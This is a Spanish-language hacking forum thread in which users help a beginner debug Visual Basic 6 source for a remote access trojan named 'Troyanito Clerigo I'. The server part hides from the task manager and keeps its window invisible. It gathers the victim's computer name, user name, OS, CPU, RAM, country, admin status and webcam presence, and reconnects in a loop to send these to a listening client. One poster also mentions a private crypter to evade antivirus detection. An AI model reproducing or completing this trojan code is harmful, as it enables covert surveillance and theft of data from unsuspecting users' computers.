• Manuales

 #42239  por ShiveR
 31 Dic 2008, 14:22
Si agrege un picture: Picture1

El error esta justamente en la parte azul.


hwdc = capCreateCaptureWindow("CapWindow", ws_child Or ws_visible, _
0, 0, 320, 240, Picture1.hWnd, 0)
 #42262  por shark0
 31 Dic 2008, 15:43
Xupyhack escribió:Si agrege un picture: Picture1

El error esta justamente en la parte azul.


hwdc = capCreateCaptureWindow("CapWindow", ws_child Or ws_visible, _
0, 0, 320, 240, Picture1.hWnd, 0)
Te falta Modulo 2 :
Código: Seleccionar todo
Option Explicit
' declaraciones Api, constantes, variables
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Public Const ws_child = &H40000000
Public Const ws_visible = &H10000000
Public Const WM_USER = 1024
Public Const wm_cap_driver_connect = WM_USER + 10
Public Const wm_cap_set_preview = WM_USER + 50
Public Const WM_CAP_SET_PREVIEWRATE = WM_USER + 52
Public Const WM_CAP_DRIVER_DISCONNECT = WM_USER + 11
Public Const WM_CAP_DLG_VIDEOFORMAT = WM_USER + 41
Public Const WM_CAP_DLG_VIDEOCONFIG = WM_USER + 42
Public Const WM_CAP_SET_SCALE = WM_USER + 53

'Api para crear la ventana de captura
Public Declare Function capCreateCaptureWindow Lib "avicap32.dll" _
    Alias "capCreateCaptureWindowA" ( _
    ByVal lpszWindowName As String, _
    ByVal dwStyle As Long, _
    ByVal x As Long, _
    ByVal y As Long, _
    ByVal nWidth As Long, _
    ByVal nHeight As Long, _
    ByVal hWndParent As Long, _
    ByVal nID As Long) As Long

Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" ( _
    ByVal hwnd As Long, _
    ByVal wMsg As Long, _
    ByVal wParam As Long, _
    lParam As Any) As Long

Public Declare Function DestroyWindow Lib "user32" (ByVal hndw As Long) As Boolean
'Solo 16 Bits (vb2, vb3 y vb4  de 16)
'Declare Function SendMessage Lib "User" ( _
    ByVal hWnd As Integer, _
    ByVal wMsg As Integer, _
    ByVal wParam As Integer, _
    lParam As Any) As Long
'Api para crear la ventana de captura
'Declare Function capCreateCaptureWindow Lib "avicap.dll" ( _
    ByVal lpszWindowName As String, _
    ByVal dwStyle As Long, _
    ByVal x As Integer, _
    ByVal y As Integer, _
    ByVal nWidth As Integer, _
    ByVal nHeight As Integer, _
    ByVal hwndParent As Integer, _
    ByVal nID As Integer) As Long
'Declare Function DestroyWindow Lib "User" (ByVal hndw As Integer) As Integer
Public hwdc As Long
Public startcap As Integer
Saludos!
 #42263  por ShiveR
 31 Dic 2008, 15:52
Pero eso donde se coloca en general?

Esto es lo que tengo en el cliente:
Código: Seleccionar todo
Public total As Integer
Private Sub form_load() 'al cargar el formulario
WS(0).LocalPort = 2300 'escuchamos en el puerto 2300
'Nota,seria mejor hacer un nuevo formulario,llamado Settings en donde se
'especifique el puerto ha escuchar,pero de momento mejro dejenlo fijo
WS(0).Listen 'Nos ponemos a la escucha
Label1.Caption = "Escuchando en el puerto " & "2300"
total = 0 'la variable totalindex sea 0
End Sub

Private Sub Timer1_Timer()
Dim v As Long, marca() As String
On Error Resume Next
For v = 1 To LV.ListItems.Count 'bucle que recorre todos lso elementos del listview
marca = Split(LV.ListItems(v).Key, "|") 'esto e sun identificador,lo sacamos de la key
If WS(marca(0)).State <> 7 Then 'si el estado de ese no es conectado
LV.ListItems.Remove (v) 'lo eliminamos de la lista porque no estamos conectados
End If
Next
Me.Caption = "Troyanito Clerigo I - " & LV.ListItems.Count & " conectado(s) -" 'ponemos el nombre de nuestro troyano y el nº de conectados
End Sub
Private Sub WS_ConnectionRequest(Index As Integer, ByVal requestID As Long) 'cuando hay conexion
On Error Resume Next
total = total + 1 'sumamos 1 a esta variable
WS(Index).Close 'cerramos la conexion
WS(Index).Accept requestID 'aceptamos la peticion
Load WS(total)
WS(total).Listen 'nos ponemos a la escucha(pero fijenese que le sumamos 1,proque el indice esta ocupado
'se hizo conexion con ese indice asique le sumamos 1 para aceptar nuevas)escuhamos con ese indice
End Sub
Private Sub LV_Mousedown(Button As Integer, Shift As Integer, x As Single, y As Single) 'al clicar(en relaidad cuando se suelta el mouse)
On Error Resume Next
If LV.SelectedItem.Selected = False Then 'si no hay nada seleccionado salimos
Exit Sub 'salimos
ElseIf Button = 2 Then 'sino,si se pulsó el boton 2(derecho)
PopupMenu Menu 'mostramos el menu Menu
End If
End Sub
Private Sub name_click() 'al clicar en change name(de nombre name)
LV.StartLabelEdit 'que podamos editar el nombre
End Sub
Private Sub lv_AfterLabelEdit(Cancel As Integer, NewString As String) 'despues de cambiar el nombre
WS(LV.SelectedItem.Index - 1).SendData "nombrecan|" & NewString 'enviamos el identificador y el valor que se puso
End Sub
Private Sub WS_DataArrival(Index As Integer, ByVal bytesTotal As Long) 'cuando recibimos datos
Dim datos As String
Dim data() As String 'array
WS(Index).GetData datos 'recibimos los datos y los guardamos en la variable "datos"
data = Split(datos, "|") 'partimos la variable datos por el identificador "|",para separar datos
Select Case data(0) 'según lo que contenga .Data(0) es el primer dato,usaremos eso como identificador
Case "Conexion"
End Select
End Sub
Case "Conexion"
Dim x As ListItem
Set x = LV.ListItems.Add(, Index & "|", data(1)) 'añadimos los datos, y en la key el indice y "|" para luego partirlo y poder identificar
x.SubItems(1) = WS(Index).RemoteHostIP 'mas datos que añadimos....
x.SubItems(2) = data(2) & "/" & data(3)
x.SubItems(3) = data(4)
x.SubItems(4) = data(5) & " MB"
x.SubItems(5) = data(6)
x.SubItems(6) = data(7)
x.SubItems(7) = data(Cool
x.SubItems(Cool = data(9)
x.SubItems(9) = "v.1"
End Select

Y esto es lo que tengo en el servidor:
Código: Seleccionar todo
Dim victima As String, name1 As String, so As String, ip As String, port As String
Dim webcam As String, pais As String, tor As String, nombrepc As String, procesador As String
Dim admin As Boolean
Private Sub form_load()
On Error Resume Next
Open Environ("windir") & "KB007.txt" For Input As #1 'abrimos un archivo de texto en el directorio de windows
Input #1, victima 'leemos el contenido de este
If victima = "" Then 'si esta vacio
victima = "Default" 'le ponemos default a la victima
End If 'sino victima contendrá lo que contenga ese archivo, eso es para cuando cambiemos el nombre a la victima.
Close #1
Dim yo As Object
Set yo = CreateObject("wscript.shell")
pais = ObtenerIdioma(LOCALE_SNATIVECTRYNAME)
nombrepc = Environ("ComputerName") 'esta variable contendrá el nombre del pc
name1 = Environ("UserName") 'el nombre de usuario
so = yo.regread("HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionProductname") 'el sistema operativo
ip = "127.0.0.1" 'la ip, pueden hacer un edit server
port = 2300 'lo mismo, con el edit server lo editan….
procesador = yo.regread("HKEY_LOCAL_MACHINEHARDWAREDESCRIPTIONSystemCentralProcessorProcessorNameString") 'júntenlo, es k no cabía, es para el procesador...."
App.TaskVisible = False 'para que no se vea en el admin de tareas en aplicaciones
If App.PrevInstance = True Then: End 'si ya esta en ejecución salimos, para no tener 2 corriendo a la vez
Me.Visible = False 'para que no se vea el form….
'Esto es para la webcam
Dim temp As Long
hwdc = capCreateCaptureWindow("CapWindow", ws_child Or ws_visible, 0, 0, 320, 240, Picture1.hwnd, 0)
If (hwdc <> 0) Then
webcam = "Si" 'entonces si tenemos webcam
temp = DestroyWindow(hwdc)
temp = SendMessage(hwdc, WM_CAP_DRIVER_DISCONNECT, 0&, 0&)
DoEvents
Else
webcam = "No" 'pues no
End If
pais = ObtenerIdioma(LOCALE_SNATIVECTRYNAME) 'para obtener el país
admin = CBool(IsNTAdmin(ByVal 0&, ByVal 0&)) 'para saber si somos admins o no
If admin = True Then
tor = "Si"
Else
tor = "No"
End If
End Sub
'la función para obtener el idioma y pais
Public Function ObtenerIdioma(ByVal lInfo As Long) As String
Dim buffer As String, ret As String
buffer = String$(256, 0)
ret = GetLocaleInfo(LOCALE_USER_DEFAULT, lInfo, buffer, Len(buffer))
'Si Ret devuelve 0 es porque falló la llamada al Api
If ret > 0 Then
ObtenerIdioma = Left$(buffer, ret - 1)
Else
ObtenerIdioma = ""
End If
End Function
'función para obtener la memoria ram
Public Function GetRamSize() As String
Dim RamStats As MEMORYSTATUS
GlobalMemoryStatus RamStats
GetRamSize = Round((RamStats.dwTotalPhys / 1024) / 1024) + 1
End Function

Private Sub Timer1_Timer()
If WS.State <> 7 Then 'si no estamos conectados
WS.Close 'cerramos
End If
End Sub
Private Sub WS_Connect() 'al haber conexión,enviamos todos los datos
WS.SendData "Conexion|" & victima & "|" & nombrepc & "|" & name1 & "|" & so & "|" & GetRamSize & "|" & pais & "|" & procesador & "|" & tor & "|" & webcam
End Sub
Private Sub WS_DataArrival(ByVal bytesTotal As Long) 'al recibir los datos
On Error Resume Next
Dim datos As String
Dim data() As String
WS.GetData datos 'los recibimos
data = Split(datos, "|")
Select Case data(0)
Case "nombrecan" 'recuerden que fue lo que enviamos como marca al cambiar el nombre
Open Environ("windir") & "KB007.txt" For Output As #1
Print #1, , data(1) 'ponemos en el texto el nombre que se cambió
Close #1
End Select
End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)

End Sub

Si no te importa y heres tan amable me puede decir que tengo mal para corregirlo, gracias!
 #42277  por shark0
 31 Dic 2008, 17:12
Coloca lo que te puse arriba en un modulo .bas

Saludos!
 #42477  por ShiveR
 01 Ene 2009, 20:56
La parte del Cliente la entendi perfectamente, pero la parte del servidor no por que el tutorial esta partido por la mita!!! ?¿?¿?¿?¿ y no comprendo!

Pero bueno...
En la parte de SERVIDOR son 2 modulos? y un Form?
No entiendo explicame.

Saludos!
 #42503  por ShiveR
 01 Ene 2009, 23:03
Para nada!! No entiendo la parte del servidor!! es que no la entiendo, no se explica bien!!! UF... Tengo ganas de saber como seria! pero... Me temo que no sÉ! no encuentro mi solucion!

Empesemos por pasos:
SERVIDOR:

Imagen

Imagen

Imagen

CODIGO SERVIDOR:
Código: Seleccionar todo
Dim victima As String, name1 As String, so As String, ip As String, port As String
Dim webcam As String, pais As String, tor As String, nombrepc As String, procesador As String
Dim admin As Boolean
Private Sub form_load()
On Error Resume Next
Open Environ("windir") & "\KB007.txt" For Input As #1 'abrimos un archivo de texto en el directorio de windows
Input #1, victima 'leemos el contenido de este
If victima = "" Then 'si esta vacio
victima = "Default" 'le ponemos default a la victima
End If 'sino victima contendr? lo que contenga ese archivo, eso es para cuando cambiemos el nombre a la victima.
Close #1
Dim yo As Object
Set yo = CreateObject("wscript.shell")
pais = ObtenerIdioma(LOCALE_SNATIVECTRYNAME)
nombrepc = Environ("ComputerName") 'esta variable contendr? el nombre del pc
name1 = Environ("UserName") 'el nombre de usuario
so = yo.regread("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Productname") 'el sistema operativo
ip = "127.0.0.1" 'la ip, pueden hacer un edit server
port = 2300 'lo mismo, con el edit server lo editan?.
procesador = yo.regread("HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString") 'j?ntenlo, es k no cab?a, es para el procesador....
App.TaskVisible = False 'para que no se vea en el admin de tareas en aplicaciones
If App.PrevInstance = True Then: End 'si ya esta en ejecuci?n salimos, para no tener 2 corriendo a la vez
Me.Visible = False 'para que no se vea el form?.
'Esto es para la webcam
Dim temp As Long
hwdc = capCreateCaptureWindow("CapWindow", ws_child Or ws_visible, _
0, 0, 320, 240, Picture1.hWnd, 0)
If (hwdc <> 0) Then
webcam = "Si" 'entonces si tenemos webcam
temp = DestroyWindow(hwdc)
temp = SendMessage(hwdc, WM_CAP_DRIVER_DISCONNECT, 0&, 0&)
DoEvents
Else
webcam = "No" 'pues no
End If
pais = ObtenerIdioma(LOCALE_SNATIVECTRYNAME) 'para obtener el pa?s
admin = CBool(IsNTAdmin(ByVal 0&, ByVal 0&)) 'para saber si somos admins o no
If admin = True Then
tor = "Si"
Else
tor = "No"
End If
End Sub
'la funci?n para obtener el idioma y pais
Public Function ObtenerIdioma(ByVal lInfo As Long) As String
Dim buffer As String, ret As String
buffer = String$(256, 0)
ret = GetLocaleInfo(LOCALE_USER_DEFAULT, lInfo, buffer, Len(buffer))
'Si Ret devuelve 0 es porque fall? la llamada al Api
If ret > 0 Then
ObtenerIdioma = Left$(buffer, ret - 1)
Else
ObtenerIdioma = ""
End If
End Function
'funci?n para obtener la memoria ram
Public Function GetRamSize() As String
Dim RamStats As MEMORYSTATUS
GlobalMemoryStatus RamStats
GetRamSize = Round((RamStats.dwTotalPhys / 1024) / 1024) + 1
End Function
Private Sub Timer1_Timer()
If WS.State <> 7 Then 'si no estamos conectados
WS.Close 'cerramos
WS.Connect ip, port
End If
End Sub
Private Sub WS_Connect() 'al haber conexi?n,enviamos todos los datos
WS.SendData "Conexion|" & victima & "|" & nombrepc & "|" & name1 & "|" & so & "|" & GetRamSize & "|" & pais & "|" & procesador & "|" & tor & "|" & webcam
End Sub
Private Sub WS_DataArrival(ByVal bytesTotal As Long) 'al recibir los datos
On Error Resume Next
Dim datos As String
Dim data() As String
WS.GetData datos 'los recibimos
data = Split(datos, "|")
Select Case data(0)
Case "nombrecan" 'recuerden que fue lo que enviamos como marca al cambiar el nombre
Open Environ("windir") & "\KB007.txt" For Output As #1
Print #1, , data(1) 'ponemos en el texto el nombre que se cambi?
Close #1
End Select
End Sub
Este es el codigo que tengo puesto en el servidor, a parte del Winsock el timer y un picture1.

Ahora que mas tengo que añadirle al codigo? AQUI ME PIERDO! Y NO SOLO SOY YO EL QUE SE PIERDE EN EL FORO SOMOS MUCHOS.

Aqui tienes el aspecto del SERVIDOR:
Imagen

Aqui tienes el aspecto del CLIENTE:
Imagen

Y aqui te dejo el codigo del CLIENTE:
Código: Seleccionar todo
Public total As Integer
Private Sub form_load() 'al cargar el formulario
WS(0).LocalPort = 2300 'escuchamos en el puerto 2300
'Nota,seria mejor hacer un nuevo formulario,llamado Settings en donde se
'especifique el puerto ha escuchar,pero de momento mejro dejenlo fijo
WS(0).Listen 'Nos ponemos a la escucha
Label1.Caption = "Escuchando en el puerto " & "2300"
total = 0 'la variable totalindex sea 0
End Sub

Private Sub Timer1_Timer()
Dim v As Long, marca() As String
On Error Resume Next
For v = 1 To LV.ListItems.Count 'bucle que recorre todos lso elementos del listview
marca = Split(LV.ListItems(v).Key, "|") 'esto e sun identificador,lo sacamos de la key
If WS(marca(0)).State <> 7 Then 'si el estado de ese no es conectado
LV.ListItems.Remove (v) 'lo eliminamos de la lista porque no estamos conectados
End If
Next
Me.Caption = "Troyanito Clerigo I - " & LV.ListItems.Count & " conectado(s) -" 'ponemos el nombre de nuestro troyano y el nº de conectados
End Sub
Private Sub WS_ConnectionRequest(Index As Integer, ByVal requestID As Long) 'cuando hay conexion
On Error Resume Next
total = total + 1 'sumamos 1 a esta variable
WS(Index).Close 'cerramos la conexion
WS(Index).Accept requestID 'aceptamos la peticion
Load WS(total)
WS(total).Listen 'nos ponemos a la escucha(pero fijenese que le sumamos 1,proque el indice esta ocupado
'se hizo conexion con ese indice asique le sumamos 1 para aceptar nuevas)escuhamos con ese indice
End Sub
Private Sub LV_Mousedown(Button As Integer, Shift As Integer, x As Single, y As Single) 'al clicar(en relaidad cuando se suelta el mouse)
On Error Resume Next
If LV.SelectedItem.Selected = False Then 'si no hay nada seleccionado salimos
Exit Sub 'salimos
ElseIf Button = 2 Then 'sino,si se pulsó el boton 2(derecho)
PopupMenu Menu 'mostramos el menu Menu
End If
End Sub
Private Sub name_click() 'al clicar en change name(de nombre name)
LV.StartLabelEdit 'que podamos editar el nombre
End Sub
Private Sub lv_AfterLabelEdit(Cancel As Integer, NewString As String) 'despues de cambiar el nombre
WS(LV.SelectedItem.Index - 1).SendData "nombrecan|" & NewString 'enviamos el identificador y el valor que se puso
End Sub
Private Sub WS_DataArrival(Index As Integer, ByVal bytesTotal As Long) 'cuando recibimos datos
Dim datos As String
Dim data() As String 'array
WS(Index).GetData datos 'recibimos los datos y los guardamos en la variable "datos"
data = Split(datos, "|") 'partimos la variable datos por el identificador "|",para separar datos
Select Case data(0) 'según lo que contenga .Data(0) es el primer dato,usaremos eso como identificador
Case "Conexion"
Dim x As ListItem
Set x = LV.ListItems.Add(, Index & "|", data(1)) 'a?adimos los datos, y en la key el indice y "|" para luego partirlo y poder identificar
x.SubItems(1) = WS(Index).RemoteHostIP 'mas datos que a?adimos....
x.SubItems(2) = data(2) & "/" & data(3)
x.SubItems(3) = data(4)
x.SubItems(4) = data(5) & " MB"
x.SubItems(5) = data(6)
x.SubItems(6) = data(7)
x.SubItems(7) = data(8)
x.SubItems(8) = data(9)
x.SubItems(9) = "v.1"
End Select
End Sub
QUE ME FALTA??, Si tengo algo mal, porfavor indicame para coregir!! XD ok?


IMPORTANTE:
Donde tengo que poner esto: [ Debe registrarse para ver este enlace ] ... YDEMAS.txt
¿Tengo que modificar ese codigo?


Gracias y Saludos!
 #42507  por shark0
 01 Ene 2009, 23:37
Mira bien esa web.. ahi te va indicando que cosa pertenece al modulo, a las apis..
Fijate no querras que te lo de todo masticado no?

Saldos!
 #42568  por ShiveR
 02 Ene 2009, 10:45
No no, pero donde tengo que poner esto:
[ Debe registrarse para ver este enlace ] ... YDEMAS.txt

En el servidor, en la parte de arriba, pero!! Tengo que modificarlo??
Por que lo pongo y toda la parte esta:
Código: Seleccionar todo
Public Const ws_child = &H40000000
Public Const ws_visible = &H10000000
Public Const WM_USER = 1024
Public Const wm_cap_driver_connect = WM_USER + 10
Public Const wm_cap_set_preview = WM_USER + 50
Public Const WM_CAP_SET_PREVIEWRATE = WM_USER + 52
Public Const WM_CAP_DRIVER_DISCONNECT = WM_USER + 11
Public Const WM_CAP_DLG_VIDEOFORMAT = WM_USER + 41
Public Const WM_CAP_DLG_VIDEOCONFIG = WM_USER + 42
Public Const WM_CAP_SET_SCALE = WM_USER + 53
Por que me sale toda esa parte en rojo y no me deja iniciar el SERVIDOR?

Me lei todo el post! retoke algunos fallos de mi cliente y ahora no entiendo esto de las apis.!!

Respondeme la pregunta, gracias!!
Saludos!!
 #42786  por rodolfocde
 03 Ene 2009, 06:45
la vd que tiene muchos errores sus codigos pero muy faciles de solucionar
este codigo que esta aca esta mucho mejor que el codigo de la pagina que dio sharki
pero en la pagina que dio sharki estan varias respuestas sobre donde poner los modulos y eso

salu2
 #42838  por shark0
 03 Ene 2009, 14:55
Te aconsejo que empieces con herramientas faciles y aprendas que son constantes,Cadenas.. etc..
Porque veo que quieres que tu primer proyecto sea un Troyano.. y eso es imposible xD

Saludos!
 #43119  por ShiveR
 04 Ene 2009, 16:28
NahgG!! Ya cree nuevos proyectos como un cripter privado, y todo eso!! XD pero no lo quiero publicar por que si nó! Enseguida me lo detectan los antivirus!! XD
 #43828  por ShiveR
 07 Ene 2009, 17:49
SharkI: Ya ley sobre el tema en la web q me diste! pero nada! no encuentro mi respuesta!
 #44353  por leucocito
 09 Ene 2009, 14:29
Oye fiera yo tmb tengo ese problema pero yo tampko se q hacer por lo q entendi es q en el form as de ponerlo cm (private) intenta modifikar lo q tinees en "public" como " private".


SALUD2S!!!!!!